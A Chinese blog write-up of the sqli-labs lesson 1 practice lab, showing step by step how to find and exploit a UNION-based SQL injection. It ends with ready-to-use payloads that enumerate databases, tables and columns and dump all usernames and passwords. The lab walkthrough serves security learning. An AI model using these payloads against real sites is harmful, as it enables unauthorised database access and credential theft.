1. 程式人生 > 其它 >sqli-labs-1

sqli-labs-1

開啟網站

存在引數id 測試注入點

判斷什麼型別注入

使用3-2數學表示式測試為字元型、結果顯示的是id=3的結果,如果是數字型結果應該為id=1的結果

使用 or 或者 and 測試注入點

判斷列數和回顯的位置

order by 4時,回顯列數不正確,說明列數為3

使用union select 1,2,……n測試回顯第幾列
結果顯示回顯第2、3列

回顯資料庫版本、使用者、資料庫等資訊

嘗試回顯information_schema資料庫中的資訊

先獲取資料庫資訊、資料庫表名資訊、表的列名資訊、最後成功顯示出表中的資訊

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23 //列舉資料庫
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23 //列舉資料庫所有表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23  //列舉users表中的所有列名
?id=-1' union select 1,2,group_concat(concat(username,0x7e,password))from users %23//枚舉出所有的username和password,並用~分割開


2.

3.

4. 使用concat(username,'密碼:',password)函式分隔每一個使用者名稱密碼對

本文來自部落格園,作者:oldliutou,轉載請註明原文連結:https://www.cnblogs.com/oldliutou/p/15697557.html